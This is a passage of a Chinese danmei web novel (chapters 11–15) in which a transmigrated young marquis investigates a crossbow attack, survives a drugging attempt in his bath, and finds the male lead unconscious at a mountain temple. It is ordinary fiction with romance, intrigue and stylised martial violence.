那人揽过腰身,另一只手穿过他的腿弯,那只手骨节分明,手指修长,又缓缓收紧。
腿弯处的指尖触到了膝盖,正是他罚跪的伤处,小侯爷堪堪磨了下唇,低哼一声。
闻钰似有察觉,动作一顿,随即指节往上挪了些许,却离腰下那处更近。洛千俞侧过了头,强忍着这股陌生感,下一刻,失重感却猝不及防袭来,洛千俞心蓦然一慌,转为疾速的心跳。
他闻到了对方身上的香气。
即便想躲,也避无可避。
他被闻钰抱出马车,帷帽的幕帘一片雪色,遮挡了大半视野,仿若被蒙上层飘渺白雾。
洛千俞不知这份莫名的紧张从何而来,视线挪动,不经意间不知瞥见了什么,心猛地一跳。
他睫羽微颤,定睛看向对方手腕上缠紧的红发带,有些熟悉,像是某人贴身之物。洛千俞一怔,反应了几秒,忽的咬住牙,耳畔蓦然发烫。
……怎么回事?
他丢了已久的发带,怎么会在闻钰手上?
12.第 12 章
难不成闻钰还没放弃寻找神秘客的下落?
小侯爷心中一颗大石悬着,将落不落,竟一时想不出一个闻钰绑着这发带的理由。只得宽慰自己,世间巧合比比皆是,那发带未必就是他的。
一时被那抹红色引去了注意,直到耳畔微风拂过,洛千俞听见急促的脚步声,正跑向远处:“公子先忍一忍,属下先走一步,这就回府找人来!”是昭念的声音。
昭念虽力气不足,却是个飞毛腿,话音一落,竟已跑出了老远。
思绪一回笼,洛千俞这才意识到眼下这般境况。霎时心中泄气,悲愤难言,暗道自己是最没出息的买股攻。换成旁人还好说,眼下竟被主角受抱了,情何以堪啊!
可眼下别无他法,只好认命,幸有帷帽遮面,这一幕没叫旁人看了去,唯有天知地知,他知小美人知,小侯爷麻痹着自己,只盼着时间能过的快些。
他挪开视线,却不经意瞥见闻钰掌心,缝隙间有隐隐的血迹,洛千俞微怔,意识到这是方才驭马时缰绳勒出的血痕。
这倒霉孩子……自从为母求医回了京城,所遇皆非人,也包括他自己。此番受了伤,依照闻钰的性格,也必定不会走心上药,顶多匆匆缠了伤口,应付了事。
小侯爷叹了口气,暗暗心疼了一把。
洛千俞恍然间想起闻钰的母亲,上次在药铺换到的千年雪莲,后来可按照他的叮嘱煎了?效果如何,病可见好?
可惜他如今的身份是小侯爷,而不是那屡次现身的神秘客,这是他们初次相识,即便想问,也没有任何立场。
“你一介平民,怎会有如此身手?”
小侯爷揣着手臂,维持原主人设,佯作怀疑般打探消息,“恰逢小爷我马匹受惊,你不偏不倚忽然现身于鼓楼长街,难不成只是巧合?”
闻钰没回答第一个问题,颇有种行得正坐得端的波澜不惊,只淡声道:“草民正在药馆取药。”
小侯爷顺着话头:“取药?怎么,你家中有人生病?”
“是,此番为母亲取药。”
“病得可严重?”
“前番沉疴缠身,病势汹汹,如今渐有起色。”闻钰像是沉吟顷刻,低声道,“幸得一人相助。”
原来如此,幸好,看来闻母病情正在好转,只是……
“一人?”小侯爷心下发虚,“所谓何人?”
这一次,闻钰沉默了足有半晌,才缓缓开口:“不知姓名,不知样貌,也不知其身世……萍水相逢,却出手救我两次,只知旁人唤他神秘客。”
“现在还未找到人。”
……
什么?
还要找!?
“哦?你现在可有什么头绪。”见闻钰目光看向自己,洛千俞自知问得突兀,轻咳一声,掩唇道:“念你送本公子一程,劳力有功,说不定还能帮你找找这神秘客。”
闻钰略一迟疑,后而作声:“…他喜欢携一支折扇,那折扇通体金色,上面题着八个字。”闻钰声线清冷,一字一句清晰无比,“金榜题名,一举高中。”
“……”
小侯爷听得耳热。幸亏不久前他将那折扇转送了春生,现在肯定拿去当铺,换作了银钱,这个线索算是彻底断了。
洛千俞抿唇,暗松口气,“倒是特别,还有其他吗?”
“…还有。”
话说一半却止,视线却落在那缠在手腕的红发带上。
洛千俞脸色微变,霎时反应过来,侧开了视线。
不知过了多久,小侯爷唇畔微动,仿若不经意般、冷声开了口:“依我看,此事不可强求。”
“若你已寻觅多时,依旧一无所获,也许这位神秘客做好事不留名,也许他不愿露面,是故意不被你找到。”洛千俞漫不经心道,“如此,不如趁早放弃的好。”
“想开些,莫要执着,白白浪费了时间。”
洛千俞说的懒散坦荡,心里却七上八下,不确定对方听进去没有,听进去了多少。
闻钰没说话。
此番沉寂太久,直到洛千俞以为这个话题不会再继续之时,耳廓却忽然传来对方的声音。
“寻之与否,尽人事,得见其人与否,看天命。”
闻钰神色未见波澜,声音却沾染了分炙色,莫名熨人心肺,低声道:“与他有关的,都不是浪费时间。”
小侯爷怔在原地,骨鲠在喉,一时竟不知如何再开口。
心中五味杂陈,化成一片死灰。
“贵人,适才马匹受惊之时,后臀处有一短箭,血迹未干。”闻钰忽然提起。
“箭?”洛千俞一愣,若是如此,那么马匹受惊也就有了解释,并非不可抗力的剧情杀!小侯爷心下激动,“放我下去,也许来得及,别被放箭之人收了去。”
“贵人有伤,别乱动。”闻钰声音堪堪顿了下,启唇道:“箭在草民襟怀中。”
洛千俞闻言,倒是不再动了,只是神色多了几分犹豫,随即硬着头皮将手探入对方袍怀,摸索那支冷箭。
摸着摸着,小侯爷动作一顿,脸色有了些许变化。
……
好硬。
难为他走神,实则优越到难以忽略,兵家般俊美结实,标准的穿衣显瘦,脱衣带肉,身轻如燕却不乏伟岸高大,是他想要的那种。
自穿书以来深刻领略到原主这具娇弱矜贵的身体后,小侯爷嘴上不语,心中暗暗酸了。
可是!说好的身娇体软易推倒呢,一个主角受身材有必要这么好吗?
不久,将那冷箭握在手中,硬芯冰凉。
箭头处还占着血迹,此时已然干涸。
小侯爷暗暗思忖着可能性,古代又没监控又没指纹追溯,只得从箭入手,恐如大海捞针,低声嘀咕:“过去这么久,凶手早已隐匿人群,线索唯有一支短箭,如何追查?”
闻钰道:“并非一条线索。”
小侯爷:“怎么说?”
“但凡人为所施,必定会留下破绽。”
洛千俞想起了现代法医鉴定之道,心下怀疑,不由自主道出了声:“不会是根据伤势,伤口深浅和失血量什么的,一路追踪回去,调查射程内所有可疑之人?”
“先不论伤势,且看入肉三分的斜切面——若是远处冷箭该垂直贯入,可这铁矢偏偏自下而上斜插血脉。”闻钰一边说着,指尖忽抵洛千俞后腰,以作演示,暗声道:“位置偏低,并非楼檐之上,距贵人三十步左右。”
洛千俞听得入神:“可此举太过引人注目,只要不是长弩,那人便可蒙混过关?”
“纵为短弩,然其体量并非小巧,常人亦不可持之招摇于市,同样惹人瞩目。”闻钰低声道:“只得藏身于市井。”
洛千俞一怔,若有所思地看着沾血短弩,恍然道:“你是说他乔装打扮,铺店摆摊……是扮作了摊主?”
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“可能极大。”闻钰略微沉吟,声色如浸水剑刃,划过心魄:“暗袭之法,唯悄然匿于商贾小贩之间,佯藏弩心,伺机而发。”
洛千俞翻过箭矢,干涸血迹下泛着冷光,依稀瞥见上面刻了纹饰符号。
仔细瞧过,发现这图案有些独特,两端是箭头,中间挖空,多出两个口字。
“锻这寒铁的淬火工艺,民间难寻,唯有工部军器监的匠人能掌分寸。”随着闻钰视线引导,洛千俞垂下眸,指甲刮过金属发出锐响,听耳边人道:“矢尾凹槽,专为匹配三石强弩的卡簧,可不是街头能买到的机巧。”
“怕不是出自哪位高门大户……”小侯爷讪道。
“那人也并非寻常弩手,难以把握时机不谈,隔着三十步精准射穿动脉,期间不动声色,箭出后又不引得行人注意,总得是个挽过五年弓的右利手。”
洛千俞后脊发凉,隐约竟有些后怕:“所以这次并非意外,而是蓄谋已久。”
“为了取我性命,难为他如此大费周章,煞费苦心。”
小美人垂眸,点到即止,“若是奔着贵人性命,大可一箭射入车厢。”
洛千俞幡然一顿。作为买股攻之一,依照书中剧情发展,他命数虽终有一死,可绝非现在。此番对他下手之人,目的却并非夺命,而是欲施惩戒之威,意在教训,让他遍尝苦头而已。
洛千俞暗骂真他娘的缺德,这一箭还不如射到他屁股上,也比被小美人抱着回侯府强!社死不如身死,杀人先攻心啊。
小侯爷叹道:“项庄舞剑,意在沛公——不想杀公,却变着法儿折腾马屁股,不如一箭给个痛快。”
闻钰没说话。
雪色幕帘隔着两人,那人唇角未翘,却仿若藏了丝似有若无的笑意。
夜风拂动,便已散得干净。
洛千俞将那作案工具送进怀中,回味细品。
闻钰仅凭一支短弩,便能摸清材质、推测暗箭之人射出角度、射程距离,甚至分析出隐匿身份与大致动机……前后详实严谨,持之有故,不仅有理有据,又能条理清晰地娓娓道来。
闻钰,你真是不简单。
若非自己有定力,外加还是个早已悄悄退了股的买股攻,倘若换个人,这番对话下来,怕是要被你迷死。
小侯爷沉思之时,忽觉帷帽外一道小小身影闪过,睫羽一颤,视线追随而去,发现竟是只小肥啾。
这鸟有些不凡,红色尾羽尤其瞩目,酷似现代的火尾太阳鸟,人称缩小版的凤凰。
哪儿来的胖鸟?
闻钰微怔,转瞬神色殊异难以名状,似有几分尴尬之意。
被抱在怀中的人也被香气浸染,一时分不清源头何来,小肥啾扑扇着翅膀,好奇般叼住了洛千俞的幕帘,向上掀。
洛千俞心思还在短弩上,这下被迫分了神,心里一惊,差点露了真容,抬手赶鸟,“……你养的?”
话到唇边的否认,却被咽于喉间。
闻钰:“嗯。”
“这般僭越无礼,与主人一个德行。”洛千俞蹙眉,冷声开口:“管好这畜牲。”
小肥啾不知道自己被骂,见掀帘无果,只好放弃,堪堪落在了帷帽边沿之上。只是低估了自身体重,没落上几秒,竟开始倾斜。
“……!”
没等幕帘下的小侯爷做出反应,遮面的帷帽便已掉落在地,掀起一抹风声。
13.第 13 章
洛千俞瞳仁一紧,白雾猝不及防被拨了去,视线骤然清明,再抬眼时,却和闻钰生生对上了目光。
距离上次见面,对方眉心凤纹愈发艳了。
宛若涅槃中一簇赤焰,熔金化玉,灼灼欲燃。
洛千俞彻底慌神,五指瞬然抓紧襟袖,人还被对方抱着,胸中似有擂鼓骤起,一颗心都将欲跳出来。
……
闻钰…知道是他吗?
闻钰认出他是那神秘客了?
冷静下来…冷静!第一次是光线昏暗的摘仙楼,第二次是月黑风高的檐上客,闻钰从未看清自己的模样,甚至在摘仙楼时他还特地压低了声色,连真容都没瞧见过,何谈认出来?
“你还要看到什么时候?”
洛千俞抿了唇,一身矜贵傲气如瞳色般炙烈,冷冷道:“再看,小爷剜了你的眼睛。”
闻钰一怔,抬头挪开视线。
尽管依旧由他抱着,可方才还与他探论暗箭的小公子,此刻竟判若两人。
不仅转瞬冷了脸,语气更是能捏出冰碴来。
感受着怀中人身体从一瞬的僵硬,到逐渐舒缓,适才并未展现给他的雍容娇气,一点点显露而出。小公子凝眉瞥向他处,道:“从现在起,老老实实抱着我,再敢窥望一眼,小心你的眼珠,再多言半句,仔细你的舌头。”
小侯爷一边放着狠话,却发觉那罪魁祸首小肥啾竟不知何时落在自己的手指上,难怪沉甸甸的。
“送我回府。”
洛千俞没心思撵它,只顺势沉下声音,冷声道:“胆敢晚了半刻,那偷放暗箭的罪名,就由你来顶上吧。”
此话一出,小美人果真些许变了脸色。
洛千俞倒打一耙成功拱了火,心下不免有些愧疚,可既然露了面,只能把纨绔形象贯彻到底,不能被瞧出破绽。眼下别无他法,只能对不起小美人了。
腰间的手紧了紧,闻钰不动声色地继续脚步。两人一路沉默,不再说话。
昭念趁着这功夫,已经从侯府找了身强力壮的侍从,几人折返,急匆匆扛着步辇朝这边赶来,昭念眼尖,一眼就看到了他家公子,喊:“公子坚持住!忍住这会儿疼,医士已在锦麟院侯着了。”
如此大张旗鼓,小侯爷脸上挂不住,被小肥啾借宿许久的指尖一蜷,握成拳头,捶过闻钰胸膛,催促道:“放我下来。”
本以为小美人会乖乖听话,却不想对方没动。
不仅没动,还依照他所要求的没说话,反而在昭念走近时,当着几人的面,将他连人稳稳抱上了步辇。
洛千俞一阵羞恼。
心道原著主角受不是一身正气吗?如此正义,大可不畏强权将他扔在半路中央,可偏偏这一路上都不动声色,却在分别时背他的意……这算不算公报私仇?
洛千俞知道他大概想多了,只是有些不忿,思忖间,竟猛然想起原书这段剧情——
这场初遇后,小侯爷并未轻易放过闻钰,他冷冷看向那天仙般的美人,心中雀跃隐动,开口就是:“来人!将这不知好歹的贱民绑了,押到府中去,小爷要亲自教教他,什么是规矩!”
见闻钰不从,还身手高强,几个随身侍卫加起来都不是对手,甚至无法近身。僵持之时,经身边人提醒,小侯爷才认出这是当年赫赫有名的黜落状元郎。
于是脑筋一转,轻笑道:“不肯?你可是不想给自己可怜的老母亲治病了?只要小爷一声令下,你猜猜,这京城里哪一位郎中,日后敢踏进你家门槛半步?”
闻钰面如青灰,玉灵剑柄处手指捏的泛白。
接下来,便是小侯爷强权施压,将主角受掳进侯府,迫使对方做了自己的贴身侍卫,从此不走上强取豪夺的不归路……
打住!
当街抢
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人这个剧情是不可能的。
至于把美人受留在身边当贴身侍卫,趁着近水楼台占主角便宜……现在的他,躲闻钰还唯恐不及!
根据目前经验,虽躲不过原著剧情,但蒙混过关小侯爷还是颇有心得。
“来人!”
众人皆是一愣。
“将这不知好歹的…贱鸟绑了,送到府中去,小爷要亲自教教它,什么是规矩!” 小侯爷命道。
身边侍卫怀疑自己听错了,迟疑道:“…公子是要那只胖鸟?”
“怎么,你有异议?“
侍卫连忙低头,“属下不敢。”
随即抽出一捆细绳,绕了一圈打结。仅是一抛,便成功套住了在半空中盘旋刚欲落下的小肥啾。
小肥啾:“?”
而那胖鸟的主人,只在自家小爷开口下命后,眼中有了些许波澜,直到侍卫收绳将鸟握到手中,都并未阻拦。
可谓见死不救。
“今日之事,胆敢说出去。”洛千俞余光瞥向闻钰,声音寒凉:“便和你的小宠一个下场。”
步辇起了轿,见闻钰还站在原地,小侯爷沉吟顷刻,像是还不解气,随手从怀里掏出个什么物件,砸到闻钰身上:“混账东西,污了我的锦袍,还不快滚?滚,给小爷滚远点!”
昭念扶着小侯爷,神色有些疑惑。
许久没见小公子动这么大的肝火,才抱了多一会儿,这相貌不凡的郎君,究竟怎么惹了他家少爷?
步辇消失在拐角。
那不知是何的物件,形似小巧玉石,雕蓝的袖珍瓷瓶滚落到闻钰脚下,堪堪停住。
闻钰俯身,手心血迹斑斑,捡起那不足掌心大的瓷罐。
剥掉瓶口,淡淡幽香飘入鼻尖,混杂药草清爽,方才那怀中贵人身上似乎便有这种味道。
……
是创药。
14.第 14 章
洛千俞回眸站定,未察觉异处。
没想到闻钰这般清冷稳重的人,养的鸟却这么胆小,竟被泉水吓得一惊一乍,洛千俞坐回池边,中衣扔在一旁,发髻散下,闭目养神。
红尾鸟再度扇动翅膀,啾啾叫了两声。身下的人却不理它了,睫羽被水雾浸染,无端来的困意涟涟。
那股水泡再度溢出些许,这一次,却是连一丝声音都没了。
顷刻后,竟朝着小世子的身边,缓缓移来。
一只手仿若化作无形,径直伸向白皙脚踝,将欲握住。
就在此时,不远处忽然传来敲门声响,不重不轻。
小侯爷睁开眼:“何人?”
“兄长,是我。”
是洛十府的声音。
他那个日夜不着家的锦衣卫弟弟怎么来了?
洛千俞勉强压下困意,从水中起身,随手披上衬袍,也没来得及擦干,现在身边没有下人,就连应酬弟弟都得亲力亲为。
洛千俞开了门。
这几日窝在锦麟院,好些时日没见洛十府,此时那人换了常服,比起黑帽和飞鱼服的利落劲装,整个人显得柔和不少。
洛千俞虽然不觉得自家兄弟打扰哥哥洗澡有什么问题,但小侯爷人设摆在那儿,搞温情那套反而令人心生怀疑,他揣起手臂,语气不善:“洛十府,父亲不是说过,这汤池未经我允准,任何人不得擅闯。”
小侯爷裹紧衬袍,被那人门外携进的寒意冷得抿下唇,又困又冷,只想快点把人撵走,回到汤池中,不留情道:“真当自己是洛家人,如此莽撞,是连规矩都忘干净了?”
听到最后那句话,洛十府微怔,神色却也未变,只低声道:“阿兄…先前不是遣人寻我?那时正值夜巡当差,未在府中。”只见洛千俞赤着脚,脚丫沾了池中的水,淋漓延绵到他这里,水痕一点点变浅。
洛十府俯下身,握住脚踝,帮他一只一只穿上鞋。
“后听下人禀告,心下记挂,便前来询问何事。”随即脱去自己外袍,披在洛千俞肩上,将人罩于其中,
指节一弯,勾住两端,外袍的系带也被系好。
洛千俞心安理得地受了,只觉周身一暖,下意识吸了口气,奇怪的是,这次竟没嗅到一点血腥味。
同时一回想,确实是有这么回事。
两日前车马受惊,他扭伤了腰被闻钰抱回府的那晚,因为对那束沾血短箭心存疑虑,便想着找他那常年混迹诏狱、善唱追捕审问的四弟弟问问,看能不能探出什么线索。
那时洛十府人不在,小侯爷并未在意,后来便忘了这茬,没想到洛十府竟亲自主动找上门来,看来还是很把他这兄长的话放心上的。
“你看看这个。”小侯爷把那支沾了血的短箭拿出,递给他,将那个惊心动魄的晚上轻描淡写地描述:“那天我逛夜市不慎扭伤了腰,后来有人在马臀上,发现了这枚暗器。”
洛十府接过,神色也变了,忽然道:“兄长马匹受惊,并非意外?”
洛千俞含糊“嗯”了声,咬了下舌尖,那股气势汹汹的困意才褪去不少,道:“是三石强弩,长约八寸,三棱形的箭头,怎么样,你可见过这种短弩?”
洛十府沉吟须臾:“未曾见过。”
小侯爷有些失望:“连你都没见过?”
“洛十府。”小侯爷忽然倾过身,湿漉漉的水滴滑下发梢,落到洛十府手腕一侧,摇曳烛火在他眼底熠出细碎金芒,“你看这刻痕,像不像一个‘舟’字?”
洛十府瞥向那滑下的水滴,僵着没动,低低的:“嗯。”
“这个字代表着谁?你可有头绪?”
洛十府拿过暗器,仔细看过,却摇了头。
小侯爷追问无果,彻底失望,一个专业审讯无数的阎罗都没有头绪,仅仅一条线索,上哪儿还能找到像洛十府这般见多识广的人帮忙暗中调查?
“不过,此箭乃寒铁所制。"洛十府忽然开了口,指尖拂过箭身,暗红斑纹镶嵌其中,纹路自然华贵,"此铁产量稀少,去年西漠进贡二十车,极为稀罕,即便军器监的匠人能煅,但有市无价,唯有宫中的兵工厂与丞相府的私铸坊才有渠道获取。”
仅仅提到了材质,竟和闻钰说到了一处。
虽然精短,洛千俞却听出了他弟弟话中的关键。也就是说,即使有匠人,寻得了弩手,也并不能促成此次意外。因为这种材质的铁箭……
“只有皇宫和丞相府才有?”喉结滚动间,洛千俞喃喃念出了后半句。
“嗯。”
尽管神智还在打盹,思绪却变得异常清明。
官家有何动机?万人之上的九五之尊,看小侯爷不顺眼,抬一抬手指的功夫,项上人头便骨碌落地,即使罚他几十廷杖,也足够他落个半身不遂,犯得着费心费力暗箭伤人?
洛千俞暗骂,只顾着想其他仇人,竟把最近的仇家忽略了。
上一次和丞相马车偶遇,他和楼衔下车行礼,对方太过人模狗样,导致他淡忘了就在前些日子,全松乘还在摘仙楼放了狠话,嘶吼着丞相大人定不会放过他,这笔账迟早会清算!
原来所谓“算账”,是在这儿等着他呢。
马屁股上一支明晃晃的弩箭,只要小侯爷稍微将这事闹大,亦或是告诉侯爷,顺藤摸瓜就能寻到线索。看来蔺京烟并不在意小侯爷是否知道是他,也不在意是否会上升到党争,两边新仇旧怨,如今倒是遮掩都懒得遮掩了。
明枪易躲,暗箭难防啊。
蔺丞相,你连装都不装了。
今有闻钰出手救了他,若下一次闻钰不在,没了原书中的“贴身侍卫”护他周全,小侯爷真的还能安然无恙,再次脱身么?
就在思忖之时,洛十府忽然眉头一皱,眼神凌戾起来,锐利如炬,低声道:“阿兄,汤池有人。”
洛千俞心中一惊,怔愣间,还未及回应,洛十府已从袖中掷出一枚飞镖,“嗖”的一声,直入汤池。
霎时间,汤池内水花骤然炸起,碎珠四溅,一道黑影破水而出,如骤影般朝着远
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处疾掠而去。
洛十府眸光骤冷,脚下一点,身形如电,如离弦之箭般追了上去。
一切只发生在刹那之间。
洛千俞挪动脚步,刚欲紧随其后,却觉脚底发软,这才发现方才那股困意并非空穴来风……而是愈来愈沉,让人无从察觉,以至放松警惕,回过神发现时早已动弹不得,任人摆布。
洛十府腰间未配刀,袖中飞镖接连射出,每一枚都精准无比,直逼那黑影的要害。
然而那黑衣人身法诡异,每每在千钧一发之际避开飞镖,甚至反手掷出一把细碎的粉末,随风飘散。
洛千俞心头一紧,暗道不好,恐怕那就是方才让自己产生困意的源头!
可那粉末无色无味,落入水中后,竟缓缓溢出一丝淡淡的香气。
离得不近,那似有若无的香气入鼻,依旧让洛千俞感到一阵眩晕,四肢比方才愈发无力。他咬了咬牙,强打精神,加快脚步,一脚踹上了门。
他身后是那黑影的唯一的出路。
“阿兄,小心!”洛十府在后面急声提醒,然而为时已晚。那黑影忽然一个转身,袖中甩出一根细长的丝带,缠住了洛千俞的脚踝。洛千俞本就因那暗香而神志恍惚,一时不察,竟被那丝带向前一带,整个人跌倒在地。
黑影见状,轻笑一声,刚勒紧手腕,忽然肩头一痛,一枚飞镖已深深嵌入他的血肉。
那人闷哼一声,身形微微一滞,鲜血顺着伤口滴落,恰好落在洛千俞的眉心。
洛千俞只觉额间一热,混散于水汽之中,未察觉是血。
洛十府见状,眼中怒火更盛,手中飞镖接连射出,逼得那黑影不得松了丝带,夺门而出,全力逃窜。
洛十府正要再追,却见那黑影已跃上高墙,转眼间消失在楼阁之上。
少年捏紧手心。
旋即转身,快步走到洛千俞身旁,蹲下身将小侯爷扶起,急切道:“阿兄,你没事吧?”
洛千俞勉强睁开眼,摇了摇头,音色有些发虚:“无碍,只是那香气……怎么有些古怪。”
洛十府皱了皱眉,伸手探了探洛千俞的脉搏,确认他并无大碍后,才稍稍松了口气。他抬头看了看四周,高声喊道:“还不来人!汤池有刺客!”
不多时,府中的下人侍卫纷纷赶来,一进汤池,只看到满地池水,一片狼藉。小侯爷身边还有点点血迹,顿时吓得三魂七魄全飞,眼前一黑,踉跄站定。
洛十府简单交代了几句,便让他们去追捕那贼人。待众人散去,重新将注意力放回兄长身上。
洛千俞此时被点了穴位,只是着香太久,稍稍恢复些精神便很快就散了。只是眉间那滴血迹依旧醒目,宛如一滴朱砂。
他唤了声:“阿兄?”
怀中人并无回应。
洛十府伸手,指腹轻轻抹去那滴朱砂,刚欲俯下身。
一只胖鸟缓缓落在了小侯爷肩头。
抬起脑袋,煽动翅膀,朝他啾啾了两下。
超凶。
15.第 15 章
“这些看守和侍卫,都是干什么吃的!”
主堂内,孙夫人气不可遏,痛骂道:“堂堂侯府,竟让一个贼人如入无人之境!倘若你出了什么事,他们有几个脑袋够砍的?!”
洛千俞怀中抱着手炉,桌上暖了热茶和汤羹,劝道:“娘,不能怪他们,那贼人身手了得,又用了迷香,防不胜防。”
“十府也是!平时不是自诩身手了得吗?堂堂锦衣卫千户,贼都跑到家里了,还放任那刺客脱身,存心让兄长置于危险之中?”
洛千俞听得冒汗,难怪洛十府原书后期与他兄弟变情敌,这番话的确偏心,炮灰听了想逆袭,反派听了当场黑化。
“洛十府是锦衣卫千户,又不是神仙。此番儿子能脱身,也多亏了他。”
“神仙?就算不是神仙,你四弟弟的名头,也着实不少。”孙夫人轻叹了一声,缓缓道:“千俞,你可曾听闻那‘鬼见愁’、‘催命阎罗’与‘血手四郎’?此等名号,任提其一,便是襁褓小儿闻之,亦能惊得啼哭不止。 ”
洛千俞一怔。
虽没心思听这些,但还是替洛十府说了句公道话:“打工人身不由己……或许他也不愿,但那是份内之事。职责所在,不得不做。”
“我不管。”孙夫人心疼的紧,捏紧帕子,“这些日子,你跪坏膝处,扭伤腰肢,骑马时腿还擦了伤!如今又有刺客竟胆大包天,潜入汤池心怀不轨。”
孙夫人轻移莲步,至小侯爷身前,温言劝道:“儿啊,此番接二连三的祸事,想来定是有邪祟作祟。”
洛千俞:“……”
“你四弟行事张扬,向来不知收敛,刑具之下,怕是招惹了不少冤魂,如今连累着,也缠上了你。”想到这些,孙氏心中顾虑顿生,面上不由得露出担忧之色,“依娘看,不如寻个日子,往城北的寒山寺里走一遭,诚心烧些香、拜拜佛,祈求佛祖庇佑,驱散这邪祟之气,保佑你身体康健、顺遂无虞。”
洛千俞自然知道这世上没鬼,一定要说什么不可抗力,都是该死的剧情杀罢了。
而受了这些伤,也纯粹是小侯爷太娇气。
可是他母亲作为纯古代人,却无从得知,只能把这些意外归咎于鬼神,倒也能理解。
小侯爷喝了勺银耳莲子羹,应下道:“好,择日再说……”
“不成,明日就去。”孙氏打断他。
洛千俞低咳一声,汤勺跌回碗中。
“如今科考在即,还能求愿你在那会试之上,文思泉涌,拔得头筹,光宗耀祖。”孙夫人越说越起劲,低声道:“昔日闻家获罪遭黜、家道中落之前,状元郎闻钰的祖父与母亲,就常往寒山寺参禅礼佛,听闻已是寺中常客。”
话题竟提到了闻钰。
洛千俞一愣,竟没忍住竖起耳朵,怕错过一个字。
“那寒山寺佛法灵验,声名远扬,只要心诚,定能蒙得佛祖庇佑。”孙氏双手合十,朝空作势点了点,“那闻钰当年一举夺魁,想来也多得寒山寺的照拂。此番前去,你定要诚心礼佛祈愿,必能高中皇榜,说不定也能给娘拿个状元回来。”
洛千俞:“……”
谁拿状元,他吗??
不过,当年闻钰的祖父和母亲竟是寒山寺的常客?闻钰也曾去过?会不会也是常客?
还是贵公子时期的闻钰……洛千俞无法想象。
三年前的闻钰,应该和自己现在一个年岁。
大概小小一只,虽然貌美,但能高中状元,想必是一心读书,无暇练武……胸膛应该没现在这般硬,也不能轻松抱起他,自己应该一招就能把对方撂倒。
无法想象闻钰若是遇到三年后的自己,会不会体会一把他前些日子体会过的羞恼,只可惜,那时他恐怕早已跑路,再也看不到这番光景。
想到这儿,洛千俞心里稍微平衡了些。
“明日你和你四弟一同去,带上两个小厮。”孙氏叮嘱道:“多拜会,诚心些,别急着回来…不枉为娘在那寒山寺捐了几百贯香油钱。”
小侯爷恹恹应下。
他想,明日一定要去,那便带上春生吧。
那可怜孩子母亲病重,近日才见些好转,想必是一定想去那寒山寺烧烧香的。
-
前日与今晨下了雨,两人到达寒山寺时已接近晡时,正值日入桑榆,晚景将夕。
洛千俞站在寺门前,抬头望向那高耸的朱红色寺门,眉梢微抬,心中暗自打量,只觉这地方有点幽深阴森,和名字倒是相配。
身旁的春生拎着木筐,见少爷神色有异,茫然问道:“公子,可是觉得哪里不妥?”
“…无事,就是这寺庙的香火味重了点,熏得人头疼。”小侯爷停顿了下,又问:“洛十府还没跟上来?”
方才在山腰楼阶,洛十府偶遇一总旗,那总旗拦下他家千户大人,说了好一会儿话,洛千俞懒得等人,便带着春生先一步上了山。
“还没呢,想必四少爷与总旗议完公务,很快便会赶上来。”春生微微一笑,又道:“寒山寺香火鼎盛,香客众多,气味难免浓烈些,公子若是走累了,要不先到寺内歇息片刻?”
洛千俞点了头。
两人踏入寺内,径直走向大殿。
春生默默跟在身后,这寺庙内香火缭绕,佛像高大肃穆,竟是难得空无一人,不枉这个时辰来。洛千俞走到蒲团前,犹豫顷刻,还是跪了下去。
春生见状,忙在小侯爷身旁跪下,双手合十,俯身叩拜。
小侯爷眼角余光瞥见一旁的春生,见这小孩跪得端正,眉眼低垂,正默念着什么,想必是在为母祈福呢。
于是自己也低下头,顺应着孙夫人所说,祈求驱邪避凶、求平安顺遂,亦求那金榜高中的好彩头。
心中却暗自嘀咕:老天爷,能不能有点良心,让我离开这个鬼地方!实在回不去,就别让闻钰认出我或者捉到我,以后能顺利跑路就行……
而春生心中所愿却与主子截然相反,他默默祈祷着:“愿小侯爷一生平安顺遂,无灾无难,得遇良配,岁岁永相伴。”
洛千俞心里装着杂事,正垂着身,忽然鼻尖一动。
竟嗅到了一丝若有若无的极淡香气。
小侯爷眉梢一滞,若放在平时,他定不会多加留意,只是不久前刚吃过教训,鼻翼翕动,竟愈发觉得熟悉,不确定是否是自己错觉。
洛千俞心头一紧,莫名涌上一股不好的预感。
这味道,怎么有点像那日在汤池里闻到的迷香?
洛千俞猛地坐起身,目光迅速扫向四周,最终落在了大殿中央的那盏香炉上。
只见香炉内烟雾溢散,看似平常,并无异样。
小侯爷没有犹豫,快步上前,低头看去,心中猜想也成了真——果然发现香炉中的香灰湿了一片。
而那晚他所中迷香正是无色无味,遇水才会显出香气!
心中警铃大作,洛千俞暗叫不好,迅速伸手将香炉抓起,毫不犹豫扔向窗外!烟雾划出一缕缥缈弧线,重重摔在寺外草地,发出一声闷响。
“公子……?”
“春生!”这次反应快,洛千俞当机立断,从窗沿帷幕撕下一段布块,扔给目瞪口呆的春生,“捂住口鼻,那香炉里有迷香,别吸进香气!”
春生闻言,脸色一变,立刻接过布块,连忙照做:“是。”
洛千俞大脑飞速运转,越想,越觉得太过蹊跷。
所以,还是那天的采花贼?
那日没得手,就将阵地搬到了寒山寺?
可是,按照原书剧情,那采花贼的目标分明不是自己……而是闻钰。
两人刚欲离开,就在此时,肩头那只圆滚滚的小肥啾却忽然躁动起来,似乎嗅到什么,发出一声短而急促的叫声。
“啾!”
它扇动翅膀,吃力飞起身,竟是朝他们相反方向,直接奔佛像背面的里屋飞去!
洛千俞身影不由自主随之一顿,转过头去,却莫名挪不动步,若有所思。
仅是顷刻之间,便转头对春生吩咐道:“去找洛十府,说他兄长又中了香,看他几时来。”
“什么……公子,你呢?”春生面露惊惶,脚步跟着停下,“这怎么能行?!”
“叫你说你就说。”小侯爷没多解释,“我去去就回!”
春生心中担心,犹豫着不肯走,可小侯爷神色又不容置喙,凭自己身手还不如少爷,他留下也未必帮得上忙,只得咬了咬牙,迅速转身朝寺庙外奔去。
这一头,洛千俞顺着红尾鸟飞走的方向追去。
只是,穿过这间大殿,竟不是预想中的寺庙后院,也并未绕过任何偏殿,而是仅仅隔着一条幽静回廊,就在方才他和春生所在的殿宇西北面,视野也愈发宽阔……更像是另一处隐蔽入口。
洛千俞微微蹙眉。
怎么回事。
同一座寒山寺,两个正门?
尽管心中疑惑,脚步却未停,紧跟着红尾鸟走进那处入口,洛千俞抬手,掀开布帘,映入视线的……竟是另一处庙宇小殿。
刚一踏入,目光也下意识扫视四周,只见这间庙殿光线昏暗,香炉中淡雾缭绕,隐约竟见一人倒在地上。
此时,小肥啾翅膀一振,缓缓落下,停留在那人的肩膀上。
洛千俞定睛一看,不看则已,等真正看清了那人,心头霎时一颤,不由得倒吸口凉气——
竟是闻钰!
…
怎么会是闻钰?
闻钰怎么会在寒山寺?
